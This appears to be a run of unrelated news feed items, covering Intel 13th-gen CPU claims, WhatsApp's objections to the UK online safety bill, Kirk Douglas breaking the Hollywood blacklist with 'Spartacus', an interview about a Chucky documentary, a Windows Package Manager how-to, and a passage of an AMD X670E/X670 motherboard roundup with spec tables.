The big takeaway? If you skipped last year's chips, and are running older Intel hardware, the 13th-gen CPUs look like the update you've been waiting for. Intel claims the 13900K is 27 percent faster than the 12900K when it comes to content creation multitasking, using apps like Adobe Media Encoder and Photoshop. And it's reportedly 34 percent faster for media creation apps like Blender and Unreal Engine.

While Intel doesn't have comparisons against AMD's upcoming Ryzen 7000 chips (they're not available yet, after all), the company says the 13900K is 58 percent faster than the Ryzen 9 5950X in Spider-Man: Remastered. That's to be expected, though, since the AMD chip is almost two years old at this point.

It's tough to tell how this latest battle between Intel and AMD will go, though we plan to test as much of the hardware as we can. If anything, though, it's certainly an exciting time to be in the market for new CPUs.

The head of WhatsApp has warned UK ministers that moves to undermine encryption in a relaunched online safety bill would threaten the security of the government's own communications and embolden authoritarian regimes. From a report: In an interview with the Financial Times, Will Cathcart, who runs the Meta-owned messaging app, insisted that alternative techniques were available to protect children using WhatsApp, without having to abandon the underlying security technology that safeguards its more than 2bn users. The UK's bill, which the government argues will make the internet safer, has become a focus of global debate over whether companies such as Google, Meta and Twitter should be forced to proactively scan and remove harmful content on their networks. Tech companies claim it is not technically possible for encrypted messaging apps to scan for material such as child pornography without undermining the security of the entire network, which prevents anyone -- including platform operators -- from reading users' messages. Cathcart said the UK's ultimate position on the issue would have a global impact. "If the UK decides that it is OK for a government to get rid of encryption, there are governments all around the world that will do exactly the same thing, where liberal democracy is not as strong, where there are different concerns that really implicate deep-seated human rights," he said, citing Hong Kong as a potential example.

Read more of this story at Slashdot.

In today's political climate, you might argue that everything old is new again. Culture wars are stoking political chasms perhaps not this wide since the Cold War era. Today if you replace "wokeism" with communism, it looks a bit like the Post-World War II era known as the Red Scare. Back then people were so fearful of the spread of communism the U.S. government formed a House Un-American Activities Committee to monitor the activities of private citizens.

The committee's goal was to root out suspected communist sympathizers within the government and private institutions. Those suspected of supporting communism were often arrested or even deported. In the 1950s, Senator Joseph McCarthy, the public face of the House Un-American Activities Committee, took aim at Hollywood.

Why Hollywood? The Hollywood Reporter explained that around one-third of the nation's movie theaters closed during the Great Depression. The ripple effect left actors and studio workers out of work, many of whom turned to left-leaning organizations during their economic hardships, including the Communist Party of the United States. In McCarthy's eyes, it gave Hollywood the reputation of having a socialist agenda.

McCarthy drove scores of Hollywood actors, writers, directors, and producers out of the industry. It would take more than a decade for Hollywood to fully recover, spurred by a defiant act from one of its biggest stars.

The Hollywood Ten

When the House Un-American Activities Committee took aim at Hollywood, studio executives caved. They agreed to blacklist anyone accused of or admitting to being a communist sympathizer. In a bold act of defiance, ten screenwriters, directors, and producers refused to cooperate with the committee. They became known as the Hollywood Ten. Their refusal to testify and name names resulted in prison terms of up to a year. As promised, they were also blacklisted from Hollywood and suspended by the president of the Motion Picture Association of America.

Beyond the Hollywood Ten, those "outed" by the committee were also blacklisted from the industry. Many actors, producers, and directors left the business, including Sidney Buchman, the Academy Award-winning writer of "Mr. Smith Goes to Washington." Some screenwriters were lucky enough to find work under pseudonyms, often for low-budget productions.

Academy Award-winning Screenwriter Dalton Trumbo was one of the Hollywood Ten. Once released from prison after a nearly year-long sentence, he moved to Mexico and continued to write under various names. Speaking about the era, Trumbo would later say:

"The blacklist was a time of evil and no one on either side who survived it came through untouched by evil ... It will do no good to search for villains or heroes because there were none. There were only victims."

The House Un-American Activities Committee plagued Hollywood for nearly two decades. But in 1960, one of Hollywood's biggest names, ironically the son of Russian immigrants, helped unofficially end Hollywood blacklisting.

'You're Working With A Blacklisted Writer!'

Kirk Douglas had no interest in politics or communism when he arrived in Hollywood. The Hollywood blacklist hearings had just started when he made his first film in 1946. Three years later, he founded the production company Bryna Productions (named after his mother) and began producing his own films. It was fitting that Douglas' 1960 film about a defiant Roman slave, "Spartacus," was a major rebellion in its own right.

Douglas explained to Interview Magazine how he ended up working with a blacklisted writer on "Spartacus." Douglas said:

"I wanted to get the best writer. The best writer was Dalton Trumbo, who had served a sentence in jail and then moved to Mexico. But when he came back, he wrote the script in secret under the name Sam Jackson. I got a call from [producer/director] Otto Preminger, who said, 'You're working with a blacklisted writer!' He was very mad at me. I said, 'I don't care,' and he hung up."

In what Douglas called the proudest moment of his career, he released "Spartacus" with Dalton Trumbo listed as the screenwriter, making him the first blacklisted writer to use his own name since the trials began more than a decade prior. The end of the film echoes Trumbo's acts of defiance against the House Un-American Activities Committee when Spartacus' army refuses to give him up. The scene has become famously known as the "I'm Spartacus!" scene.

"Spartacus" was the perfect film to rebuke the blacklist and forge a new path forward for the industry. Douglas remained steadfast in his rebellion and what the film meant to Hollywood. "I'm proud of using his name and breaking the blacklist," Douglas reflected. He added, with a twinge of regret, "That was a terrible time in Hollywood history. It should never have happened. We should have fought it."

Read this next: The 15 Best Historical Epic Movies Ranked

The post How Kirk Douglas Helped Break The Blacklist With Spartacus appeared first on /Film.

There are few, if any, horror franchises like "Child's Play." For more than 30 years now, the evil, killer doll, possessed by the spirit of serial killer Charles Lee Ray, has been terrorizing audiences. Yes, we did get a remake in 2019, but the main franchise can still trace its continuity all the way back to that original slasher flick in 1988, and it now lasts right up through the "Chucky" TV show that is entering its second season.

The upcoming documentary "Living With Chucky," which recently held its world premiere at Fantastic Fest, aims to be a one-stop-shop of information for fans of the franchise, albeit one that offers up a unique perspective. The film is directed by Kyra Elise Gardner, daughter of visual effects maestro Tony Gardner, who has been with the slasher series from the very beginning.

I spoke with Gardner about making the film and what it was like entering into the family business, as it were. "Chucky has been a franchise that he's been a part of since I was the ripe old age of four," Gardner says. "So I had the privilege of growing up alongside Chucky the doll as basically a sibling that I refer to as a sibling. So I've always had a very personal connection to the franchise."

Keeping It In The Family

It wasn't always Gardner's intention to become a filmmaker. Like most young people, she actually rebelled against following in her parent's footsteps. "I actually originally wanted to be a nurse," she said. "Because of my dad, though, I was really desensitized to blood and guts and those types of things from a young age. So I thought, 'Hey, I could be a nurse. I could handle the ER.' Then I volunteered at a local hospital for a summer, and I was really bored."

That boredom paved way to another thought. Specifically, Gardner looked into being a combat nurse. "My mom was like, 'Absolutely not,'" she explained. That was when her parents encouraged her to take a film class at University of Southern California for a summer, where the many famous filmmakers studied cinema. Gardner recalled, "I directed my first short film at that summer class. And I was like, 'Oh, this is what I want to do.'" She continued:

"When I directed my first short and then started thinking, 'Oh, I might want to go to film school,' it was that connection with the actors that I got through watching my dad that you still get through directing on an even bigger scale is why I think I really liked it."

Gardner spent a lot of time on movie sets growing up, hanging out with her dad in the makeup trailer alongside actors who were at the other end of his work. So it makes sense that she wants to focus on movies that have practical special effects. "Child's Play" is and always has been a shining example of that. Taking a page from that book, her college short centered on a four-foot animatronic fish puppet.

History With A Personal Connection

So Gardner followed in the footsteps of her father, and for her first feature, she decided to examine the franchise that has been near and dear to her for most of her life. "Living With Chucky" sees her speaking with those who have made the series what it is, including creator Don Mancini, the voice of Chucky himself, Brad Dourif, and yes, her father, amongst many others. But Gardner is aiming to shine a real light on the history of these movies, even if it's not always a pretty one. She told us:

"Not many people actually talk about their budgets getting drastically cut. And if you talk to my dad about it in an interview, he'll be really kind about it as well as probably Don and David [Kirshner]. But I was like, 'You know what? This is my chance to,' because I'm not hired by so and so, and I can say it. My chance to be like, 'Yeah, the budgets really were cut drastically.' This was the reality of it."

As for her hopes for the film as it seeks distribution coming out of Fantastic Fest? "I hope that it becomes a one-stop shop for your Chucky information for fans," she says. "Some things are said in behind-the-scenes interviews over the years or a TV interview, but it's not all in one spot. So I hope that this serves as a history, but also the personal connection and really gives people insight into just how hard all these people work on this franchise."

"Living With Chucky" does not yet have a release date set, but we'll keep you posted.

Read this next: 12 Underrated Slasher Movies You Need To Check Out

The post Living With Chucky Is The Story Of Chucky By Someone Who Grew Up With Chucky [Exclusive Interview] appeared first on /Film.

If you’ve ever used Linux, maybe on the Steam Deck, or Homebrew on macOS, you’re probably familiar with package managers. On Linux, especially, this is how most users install software even though traditional installers are still a thing. The package manager can be accessed through the command line, allowing for quick, silent installation and updating.

Windows has had third-party package managers before, such as Chocolatey, but Microsoft now has its own. Windows Package Manager can be used by virtually anyone that uses Windows 10 or Windows 11. In many cases, it’s pulling software from all over the web through its manifests. But it also now integrates with the Microsoft Store as well. Windows Package Manager is open-source and its directory is built on community contributions.

Windows Package Manager isn’t necessarily going to be for everyone, especially if you primarily get your apps from the Microsoft Store. For developers who spend a lot of time in the terminal, enterprise deployments, or just those who get software from all over the web, it can certainly improve your workflow. Here’s how to install it and get started using it.

Requirements to use Windows Package Manager

The requirements to use Windows Package Manager are as follows:

The client requires Windows 10 1809 (build 17763) or later at this time. Windows Server 2019 is not supported as the Microsoft Store is not available nor are updated dependencies. It may be possible to install on Windows Server 2022, this should be considered experimental (not supported), and requires dependencies to be manually installed as well.

There are no specific requirements beyond those above and there are some different methods you can use to get access to Windows Package Manager.

How to install Windows Package Manager

The easiest way to make sure you have Windows Package Manager on your PC is to grab the latest version of App Installer from the Microsoft Store. This is usually used to sideload Windows App Packages. But it also contains what you need for the Windows Package Manager.

Alternatively, you can join the Windows Package Manager insider program, or use a Windows Insider build. In both of these cases, you’ll get access to the latest development version without the need to install anything else.

You can check if it is installed correctly by simply opening up a PowerShell window and entering winget then pressing enter. If you see a response then you know you enabled it correctly.

Installing apps with Windows Package Manager

The repository of apps available through winget is pretty expansive, and installation is a simple command. But you’ll want to be able to find what you’re looking for as well, and there are a couple of methods for that.

The first is using the excellent third-party tool, winstall.app. This is a GUI front end for the winget library. It lets you browse and search like you would any other store. It’ll also provide you with the commands you need to install, and you can pull many different apps with one single string.

Alternatively, you can search from within PowerShell with the winget search command. As in this example:

winget search chrome

This will return any winget manifests that match the search term. In this case, you’ll see something resembling the image below.

Once you know what you want, the template to install is simple:

winget install <your-app-here>

The Windows Package Manager will now use the manifest for your desired application. to pull it from its remote location and where possible install it silently. Some will still pop-up installation boxes you will have to interact with, though, so it’s worth staying close by.

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That’s the most basic setup and use case of the Windows Package Manager. As already mentioned, it won’t be for everyone. But those doing development work, for example, or anyone who just wants something leaner than the Microsoft Store to use, may well find it useful.

The post How to install Windows Package Manager on Windows 10 and Windows 11 appeared first on XDA.

There are tons of fascinating stories to delve into with the best video game documentaries.

Coming in October via professional installers, and to Amazon early next year, the newest Eero mesh routers eliminate the power cord altogether.

Today, we will be taking a deep dive and rounding up all the AMD X670E & X670 motherboards from ASUS, ASRock, MSI, Gigabyte & Biostar.

AMD X670E & X670 Motherboards Deep Dive, Featuring ASUS, ASRock, MSI, Gigabyte, Biostar

[Updated - 20/08/22]

AMD and its board partners which include ASUS, ASRock, MSI, Gigabyte, and Biostar put out some really detailed specifications of their upcoming X670E & X670 motherboards during the "Meet The Experts" Livestream. We thought that since we have a little over a month left in the launch, we should be providing you with a deeper dive into what every single board has on offer.

AMD AM5 Platform - A New Beginning

Before we talk motherboards, we have to talk about the platform itself. The AMD Ryzen 7000 CPUs will be migrating to a new home known as AM5, the successor to the long-lasting AM4 platform. It marks a fresh start for the AMD Ryzen Desktop family and as such, existing Ryzen CPUs starting with Ryzen 1000 & all the way up to Ryzen 5000 won't be supported by the new platform we will tell you why it is so.

The AM5 platform will first and foremost feature the brand new LGA 1718 socket. That's correct, AMD isn't going the PGA (Pin Grid Array) route anymore and now focusing on LGA (Land Grid Array), similar to what Intel uses on its existing desktop processors. The main reason to go LGA is due to the addition of enhanced and next-gen features such as PCIe Gen 5, DDR5, etc that we will get to see on the AM5 platform. The socket has a single latch & gone are the days of worrying about pins underneath your precious processors.

In terms of features, the AM5 platform will initially support AMD's Ryzen 7000 'Zen 4' Desktop CPUs and extend that support to future Ryzen CPUs and APUs. The platform offers DDR5-5200 (JEDEC) memory support, up to 28 PCIe lanes (Gen 5 standard), increased NVMe 4.0, and USB 3.2 I/O lanes & we have also heard chatter about native USB 4.0 support which will be a game-changer.

A new feature called EXPO (AMD Extended Profiles for overclocking) will allow enhanced DDR5 memory OC on the new platform, similar to Intel's XMP. It has been a rough road for AM4 to offer decent DDR4 OC capabilities but that has more or less been sorted out by now, we can only expect DDR5 to have a much better OC and compatibility experience compared to DDR4 on AM4 platforms. Furthermore, it looks like the platform will only be DDR5 compatible and we won't see DDR4 options as we do on Intel's existing platform. But with DDR5 prices and availability improving, that won't be that big of a deal for most high-end consumers for who AMD will be aiming first.

AMD X670 Series Platform

The AM5 compliant AMD 600-series motherboards are currently being prepped up by the board makers, The 600-series lineup will initially consist of three chipsets, the X670E, X670, B650E, and B650.

In terms of features, the X670E (Extreme) is designed for the higher-echelon of motherboards with unparalleled capabilities, and extreme overclocking, and will have PCIe 5.0 support for both GPU and storage.

The X670 motherboards will be very similar in offering enthusiast-level overclocking but PCIe Gen 5.0 support for storage and graphics will depend on manufacturers. It is likely that some board makers will go to the cost-effective route and enable PCIe 5.0 support only for the GPU while keeping storage limited to PCIe 4.0. Both X670 chipsets will come in a dual-PCH solution on the motherboard to allow for the increased I/O for the next-gen platform.

One of the highlighted features of the AMD AM5 600-series platform is SAS or Smart Access Storage. This technology will enable GPU decompression with supported Microsoft DirectStorage games. Although there aren't many of those out there yet but expect industry-wide support for this on newer platforms.

As for longevity, AMD hasn't promised anything but they have stated that they want to see the new AM5 socket last at least four to five years, similar to AM4. While there has been a lot of controversy regarding Ryzen support on the initial AM4 motherboards, I believe that AMD has learned and will not follow the same route with AM5.

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AMD AM4/TR4 Chipset Features and Specifications:

Wccftech	X670E/X670	X570	X399 Refresh	X399	X470	X370	B450	B350	A320	X300	A300
CrossfireX/SLI	Triple CFX/2-Way SLI	Triple CFX/2-Way SLI	Quad SLI/CFX (Max 6 GPU Support)	Quad SLI/CFX (Max 6 GPU Support)	Triple CFX/2-Way SLI	Triple CFX/2-Way SLI	N/A	N/A	N/A	N/A	N/A
PCIe Gen 5 Lanes	24 (with Ryzen 7000 CPUs & above)	N/A	N/A	N/A	N/A	N/A	N/A	N/A	N/A	N/A	N/A
PCIe Gen 3/4 Lanes	TBD	30 +16 (with Ryzen 7 CPU)	60 (With Threadripper CPU) 4 Lanes Reserved for PCH	60 (With Threadripper CPU) 4 Lanes Reserved for PCH	16 (with Ryzen 7 CPU)	16 (with Ryzen 7 CPU) 8 (with Bristol Ridge)	16 (with Ryzen 7 CPU)	16 (with Ryzen 7 CPU) 8 (with Bristol Ridge)	16 (with Ryzen 7 CPU) 8 (with Bristol Ridge)	16 (with Ryzen 7 CPU) 8 (with Bristol Ridge)	16 (with Ryzen 7 CPU) 8 (with Bristol Ridge)
PCIe Gen 2 Lanes	N/A	N/A	8 PCIe Lanes (reserved)	8 PCIe Lanes (reserved)	8 (plus x2 PCIe Gen3 when no x4 NVMe)	8 (plus x2 PCIe Gen3 when no x4 NVMe)	6 (plus x2 PCIe Gen3 when no x4 NVMe)	6 (plus x2 PCIe Gen3 when no x4 NVMe)	4 (plus x2 PCIe Gen3 when no x4 NVMe)	4 (plus x2 PCIe Gen3 when no x4 NVMe)	4 (plus x2 PCIe Gen3 when no x4 NVMe)
USB 3.1/3,2 Gen2	TBD	8	2	2	2	2	2	2	1	0	0
USB 3.1/3.2 Gen1	TBD	12 (PCH + CPU)	13 (PCH+CPU)	13 (PCH+CPU)	10	10	6	6	6	4	4
USB 2.0	TBD	N/A	6	6	6	6	6	6	6	0	0
SATA 6Gb/s	8	8	8	8	6	6	4	4	4	2	2
SATA Express	TBD	2	2	2	2	2	2	2	2	1	1
DDR5 DIMMs	4	N/A	N/A	N/A	N/A	N/A	N/A	N/A	N/A	N/A	N/A
DDR4 DIMMs	N/A	4	8	8	4	4	4	4	2	2	2
Overclocking Support	Yes	Yes	Yes	Yes	Yes	Yes	Yes	Yes	No	Yes	No
XFR2 Enhanced	Yes	Yes	Yes	No	Yes	No	Yes	No	No	No	No
Precision Boost Overdrive	Yes	Yes	Yes	No	Yes	No	Yes	No	No	No	No
NVMe	Yes (Gen 5.0)	Yes	Yes	Yes	Yes	Yes	Yes	Yes	Yes	Yes	Yes
Form Factor	ATX	ATX, MATX	ATX, MATX	ATX, MATX	ATX, MITX	ATX	ATX, M-ATX	ATX, M-ATX	M-ATX, Mini-ITX	Mini-ITX	M-ATX, Mini-ITX

ASUS X670E & X670 Motherboards

Starting with ASUS, the company is planning to offer at least six motherboards within its ROG, ROG Strix, TUF Gaming, ProArt, and Prime families. The lineup comes with Dynamic OC Switcher which we detailed here. The motherboards that we are able to confirm so far include:

• ASUS ROG Crosshair X670E Extreme
• ASUS ROG Crosshair X670E HERO
• ASUS ROG STRIX X670-E WIFI Gaming
• ASUS PRIME X670E-PRO WiFi
• ASUS TUF Gaming X670-PLUS WiFi
• ASUS ProArt X670-Creator WiFi

So with the motherboards out of the way, let's take a look at the individual specs and features that each product has to offer.

ASUS ROG Crosshair X670E Extreme

ASUS's top X670E motherboard is the ROG Crosshair X670E Extreme. This motherboard is designed to be the ultimate ROG offering and comes with a powerful power delivery solution that comprises 22 (20+2) Teamed Power Stages rated at 110A, an Infineon ASP2205 PWM controller, & the Vishay SIC850 Power Stages. The Alloy Chokes are rated at 45A while the capacitors are rated at 10K hours with a maximum temperature threshold of up to 125C. The AM5 socket is powered by an 8-pin pair which should allow for over 1000W of power to the Ryzen CPU itself.

The motherboard features four DDR5 DIMM slots which will be able to support AMD's EXPO tech and up to 128 GB capacities.  There are several handy features such as Power On/Off, Reset and even a FlexKey button underneath the DEBUG LED. As for the overall layout, the motherboard is just as beautiful as one should expect with black color heatsinks and cover over the VRM, PCH & M.2 slots while also providing an AniMe Matrix LED display over the PCH heatsink and I/O cover.

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Expansion slots include two PCIe 5.0 x16 and a single PCIe 4.0 x4 slot. The board can house up to five M.2 devices with two Gen 5.0 x4 onboard the motherboard itself, one from the PCIe Gen 5.0 M.2 card (Gen 5.0 x4) and two M.2 slots (1x Gen 5 x4 & 1x Gen 4 x4) on the ROG Zen-Z.2 add-on DIMM. The board also offers a total of 6 SATA III ports. The motherboard has a right-angled ATX power connector and also comes with an additional 6-pin connector for USB Type-C 60W power delivery (which offers 27W without the connection). You'll find an ample amount of I/O features such as WiFi 6E, 10Gb / 2 Gb Ethernet LAN ports, USB 4.0 ports, and premium audio capabilities, just to name a few. Of course, the motherboard will come at a premium and we are talking over $600 US easily.

ASUS ROG Crosshair X670E HERO

The next ASUS ROG motherboard that has been confirmed so far is the Crosshair X670E HERO which is a tamer version of the Extreme and is likely to be priced in the $400-$500 US range. It comes with an 18+2 phase teamed VRM design and uses similar components as the Extreme. It also offers a high-end heatsink and design layout with a Polymo Lighting system embedded over the I/O shield. As for expansion slots, the board offers two PCIe Gen 5.0 x16 and a single PCIe 4.0 x2 slot. The motherboard is listed to support 5 M.2 slots which include two Gen 5.0 x4 (1 with PCIe 5.0 M.2 card), and three Gen 4.0 x4 slots. Storage options include 6 SATA III ports.

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The motherboard comes with a single 2.5 GbE LAN port, two USB 4.0 ports, tons of USB 3.2 Gen 2 ports, WiFi 6E capabilities, and a high-end audio interface.

ASUS ROG STRIX X670-E WiFi Gaming

The ASUS ROG STRIX X670-E WiFi Gaming adopts a 16-phase power design and comes with a gaming aesthetic with black and grey color tones. The I/O cover has a small LCD that could be customized according to your preferences. The expansion slots include two PCIe 5.0 x16 and a single PCIe Gen 4.0 x16 slot. M.2 options should include three PCIe Gen 5.0 x4 slots & a single PCI-E Gen 4.0 x4 slot. The primary M.2 heatsink looks like it uses a heatpipe-based cooling solution. The storage options include four SATA III ports and there's a vast array of I/O available to users too.

ASUS PRIME X670E-PRO WiFI

ASUS's PRIME X670-E PRO WiFi also seems to be equipped with a 16-phase power delivery that is juiced up through a dual 8-pin connector configuration. We can see the PRIME series back with its unique white and black aesthetic in a futuristic layout. The board features three M.2 heatsinks that support a single PCIe Gen 5.0 x4 and three PCIe Gen 4.0 x4 SSDs. There are two PCIe Gen 5.0 x16 slots and a single PCIe Gen 4.0 x4 slot. There are also four SATA III ports on the motherboard.

ASUS TUF Gaming X670-PLUS WIFI

The ASUS TIF Gaming X670-PLUS WiFI seems to retain the 16-phase design but it is also the only motherboard from the bunch that has one exposed M.2 slot with no heatsink. It is likely that this one is a non-Gen 5.0 port. With that said, there are three PCIe Gen 4.0 x4 M.2 slots and a single PCIe Gen 5.0 x4 slot. PCIe expansion slots include two Gen 5 x16 and a single Gen 4 x4 slot. The TUF Gaming motherboards feature a grey and yellow-colored aesthetic and this board is no different.

ASUS ProArt X670-Creator WiFi

The ASUS ProArt X670-Creator WiFi motherboard features a 16-phase power delivery with a nice acrylic I/O cover, aluminum heatsinks, and an industrial design with its silver and grey aesthetics.

It comes with three PCIe 5.0 x16 slots (x8/x8/x4 electrical) and features two PCIe Gen 5.0 x4 and one PCIe Gen 4.0 x4 slot. The motherboard supports up to 4 SATA III storage devices and comes with a WiFi 6E interface. There's also a 6-pin connector for 60W USB Type-C charging.

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ASUS X670E & X670 Motherboard Specs

Motherboard Name	ROG Crosshair X670E Extreme	ROG Crosshair X670E HERO	ROG Crosshair X670E Gene	ROG STRIX X670E-I Gaming WIFI	ROG STRIX X670-E WIFI Gaming	PRIME X670E-PRO WiFi	TUF Gaming X670E-PLUS WiFi	ProArt X670E-Creator WiFi
Chipset	X670E	X670E	X670E	X670E	X670E	X670E	X670E	X670E
Form Factor	E-ATX	ATX	mATX	mITX	ATX	ATX	ATX	ATX
PCB Color	Black	Black	Black	Black	Black	Black	Black	Light Black
Motherboard Color	Black + Silver	Black + Silver	Black + Silver	Black + Silver	Black + Grey	White + Black	Black + Grey	Silver + Gray
VRM Design	20+2 Phase	18+2 Phase	16+2 Phase	10+2 Phase	16 Phase (TBD)	16 Phase (TBD)	16 Phase (TBD)	16 Phase (TBD)
VRM Heatsink	Yes	Yes	Yes	Yes (Active Cooled)	Yes	Yes	Yes	Yes
PWM Controller	Infineon ASP2205	Infineon ASP2205	Infineon ASP2205	Infineon ASP2205	TBD	TBD	TBD	TBD
Power Stages	110A	110A	110A	110A	TBD	TBD	TBD	TBD
Power Delivery (CPU)	8+8 Pin	8+8 Pin	8+8 Pin	8 Pin	8+8 Pin	8+8 Pin	8+8 Pin	8+8 Pin
Memory DIMMs	4 DDR5 DIMM	4 DDR5 DIMM	2 DDR5 DIMM	2 DDR5 DIMM	4 DDR5 DIMM	4 DDR5 DIMM	4 DDR5 DIMM	4 DDR5 DIMM
Memory Support	DDR5-5600 (JEDEC) DDR5-**** (EXPO)	DDR5-5600 (JEDEC) DDR5-**** (EXPO)	DDR5-5600 (JEDEC) DDR5-**** (EXPO)	DDR5-5600 (JEDEC) DDR5-**** (EXPO)	DDR5-5600 (JEDEC) DDR5-**** (EXPO)	DDR5-5600 (JEDEC) DDR5-**** (EXPO)	DDR5-5600 (JEDEC) DDR5-**** (EXPO)	DDR5-5600 (JEDEC) DDR5-**** (EXPO)
Memory Capacity	128 GB (Max)	128 GB (Max)	64 GB (Max)	64 GB (Max)	128 GB (Max)	128 GB (Max)	128 GB (Max)	128 GB (Max)
PCIe Gen 5.0 Slots	2	2	1	1	2	2	2	2
PCIe Gen 4.0 Slots	1	1	1	0	1	1	1	1
M.2 Gen 5.0 Slots	4	3	2	1	3	1	1	2
M.2 Gen 4.0/3.0 Slots	1	2	1	1	1	2/1	2/1	2
M.2 Heatsinks	Yes (All)	Yes (All)	Yes (All)	Yes (All)	Yes (All)	Yes (All)	Yes (All)	Yes (3 Heatsinks)
SATA III Ports	6	6	4	2	4	4	4	4
WiFi Capabilities	WiFi 6E	WiFi 6E	WiFi 6E	WiFi 6E	WiFi 6E	WiFi 6E	WiFi 6E	WiFi 6E
LAN Capabilities	10 GbE LAN 2.5 GbE LAN	2.5 GbE LAN	2.5 GbE LAN	2.5 GbE LAN	2.5 GbE LAN	2.5 GbE LAN	2.5 GbE LAN	10 GbE LAN 2.5 GbE LAN
USB 4.0 Ports	2	2	2	2	0	0	0	2
USB 3.2 Ports	16	11	9	9	16	13	13	11
USB 3.1/3.0/2.0 Ports	4	6	6	7	6	6	6	7
RGB Sync Software	ASUS Aura Sync ARGB Gen 2	ASUS Aura Sync ARGB Gen 2	ASUS Aura Sync ARGB Gen 2	ASUS Aura Sync ARGB Gen 2	ASUS Aura Sync ARGB Gen 2	ASUS Aura Sync ARGB Gen 2	ASUS Aura Sync ARGB Gen 2	ASUS Aura Sync ARGB Gen 2
Price	$999	$699	$599	$469	$499	$349	$329	$499

MSI X670E & X670 Motherboards

MSI will be rolling out four brand new X670E Motherboards within its MEG, MPG, and PRO lineups. We recently revealed their flagship MEG X670E GODLIKE motherboards and the manufacturer has confirmed the specs and PCB we reported. All MSI X670 & B650 motherboards also come with the new "Performance Switch" feature that we detailed here.  MSI's X670E motherboard lineup is as listed below:

• MSI MEG X670E GODLIKE
• MSI MEG X670E ACE
• MSI MPG X670E Carbon
• MSI PRO X670E-P WiFI

So with the motherboards out of the way, let's take a look at the individual specs and features that each product has to offer.

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MSI MEG X670E GODLIKE Motherboard - The Flagship To Rule Them All!

Starting with the flagship, first, we have to talk about the size of this monster of a motherboard. The MSI MEG X670E GODLIKE will measure 305mm x 288mm. That's slightly smaller than the MEG Z690 GODLIKE but it will definitely be one of the biggest and baddest motherboards out there, one that every other manufacturer will be keeping a close eye on as they try to tackle it with their own X670E flagships.

• Support For AMD Ryzen 7000 Desktop CPUs (AM5) Socket
• 24+2+1 Phase (105A) CPU VRM Design
• Dual 8-Pin Power Connectors For CPU
• Four DDR5 DIMM Slots (Up To 128 GB Capacities)
• EXPO Support With DDR5-5600+ Memory Support
• 10 Layer & 2 Oz Copper PCB Design
• Three x16 PCIe Gen 5 Slots (x16/x8/x8 Electrical)
• Four M.2 Slots (1x Gen 5, 3x Gen 4)
• M.2 Shield Frozr Heatsinks For M.2 Slots
• Steel Reinforced PCIe and Memory Slots
• Dual X670E "Promontory" PCH Dies
• 8 SATA III Ports, Dual USB 3.2 Type-C Gen 2 Ports (With 60W PD Charging0
• Dual Front Panel USB 3.0 Headers

In terms of power delivery, the motherboard seems to feature at least 24+2+1 phases with 105A MOSFETs. Power to the CPU is provided through dual 8-pin connectors, a 24-pin ATX connector for the motherboard, one 6-pin power connector (at the bottom) for the PCIe lanes, and one 6-pin PD power connector (next to the 24-pin ATX connector) to deliver PD 60W charging for the front USB 3.2 Gen2x2 20Gbps Type C connector. You can also note the dual X670E PCH's taking up a good amount of room on the motherboard.

There are four DDR5 memory slots on the MSI MEG X670E GODLIKE motherboard that will support up to 128 GB capacities and while we don't know the speeds for them yet, the native JEDEC speeds for Ryzen 7000 "Raphael" CPUs are set at DDR5-5600 so we can expect over 6/7 Gbps transfer rates with EXPO support. The board is powered by dual 8-pin connectors located close to the DDR5 slots for easy cable management.

There are also placements for several OC-specific features on the board such as Power On/Off and reset switches at the bottom. Storage options include 8 SATA III ports while expansion slots include three PCIe Gen 5.0 x16 (x16/x8/x4 electrical) that run at either x16/x0/x4 or x8/x8/x4 modes.

There are at least four M.2 slots on the MSI MEG X670E GODLIKE motherboard which include a single PCIe Gen 5 x4 running off the Raphael CPU lanes, and three Gen 4 x4 slots running off the Promontory PCH. The motherboard will also ship with a brand new M.2 XPANDER-Z Gen 5 Dual add-in-card which supports up to two 25110 PCIe Gen 5.0 x4 SSDs.

There are also two USB 3.2 Gen 2 front panel headers (Type-C with 60W power deliver & 20Gb/s) on the motherboard too. MSI's top-tier X670E motherboards will come with a brand new M.2 SSD installation design as a part of its "M.2 Shield Frozr" technology and there will also be magnetic locks next to the M.2 ports. The magnetic locks will provide a connection to the RGB LEDs that are featured on the Shield Frozr heatsinks for M.2_2, M.2_3, and M.2_4 ports. There are also tons of fans (+ pump), RGB, and external headers on the motherboard.

MSI MEG X670E ACE Motherboard - Enthusiast-Tier Design With A Pinch of Gold!

The MSI MEG X670E ACE motherboard was one of the units that the 'MSI Insider team showcased during the webcast. Before talking more about it, let's list down its primary features:

• Stacked fin-array heatsink with heat-pipe
• 22+2 phases / 90A power stages
• Lightning Gen5 slot & M.2 support
• Screwless M.2 Shield Frozr
• M.2 Shield Frozr with magnetic design
• Onboard 10G LAN with WIFI 6E
• Front USB Type-C supports PD 60W

The MSI MEG X670E ACE motherboard features a very large heatsink with a finned design & it also comes with several M.2 Shield Frozr heatsinks. The most interesting is the one next to the DDR5 DIMM slots which have a tool-less installation design and can easily be removed and latched in to place with a special knob mechanism.

MSI MPG X670E Carbon WIFI Motherboard - An All-Rounder With High-End I/O

MSI has also given the X670E treatment to its next CARBON WIFI motherboard. This means we will be getting the same PCIe Gen 5 support for storage and graphics on this motherboard too. Listed features include:

• Extended Heatsink with heat-pipe
• 18+2 phases / 90A power stages
• Lightning Gen 5 slot & M.2 support
• Screwless M.2 Shield Frozr
• Onboard 2.5G LAN & WIFI 6E
• USB Type-C supports up to DP 2.0

MSI PRO X670-P WIFI - Entry Into The X670 Segment With Quality Features!

Finally, we have the MSI PRO X670-P WIFI which combines stable functionality with high-quality assembly. Now one thing that MSI has told is that the X670E class motherboards will come with a 10-layer PCB design while the X670 motherboards will come with up to 8-layer PCBs. We know that the X670E class motherboards need those increased server-quality PCB layers to maintain the Gen 5.0 signal integrity for both discrete GPUs and storage. Since the X670 motherboard doesn't have to offer both dGPU and M.2 Gen 5 support, they can do away with 8-layers which is still a high-end PCB design. The main features of the motherboard include:

• Extended Heatsink Design
• 14+2 phases / 80A SPS stages
• Lightning Gen 5 M.2 support
• 1x Double-side M.2 Shield Frozr
• Onboard 2.5G LAN & WIFI 6E
• USB Type-C supports up to DP 2.0

MSI X670E & X670 Motherboard Specs

Motherboard Name	MSI MEG X670E GODLIKE	MSI MEG X670E ACE	MSI MPG X670E Carbon	MSI PRO X670E-P WiFi
Chipset	X670E	X670E	X670E	X670E
Form Factor	E-ATX	E-ATX	ATX	ATX
PCB Color	Black	Black	Black	Black
PCB Layers	10 Layer	10 Layer	8 Layer	8 Layer
Motherboard Color	Black + White + Gold	Black + Gold	Black	Black + White
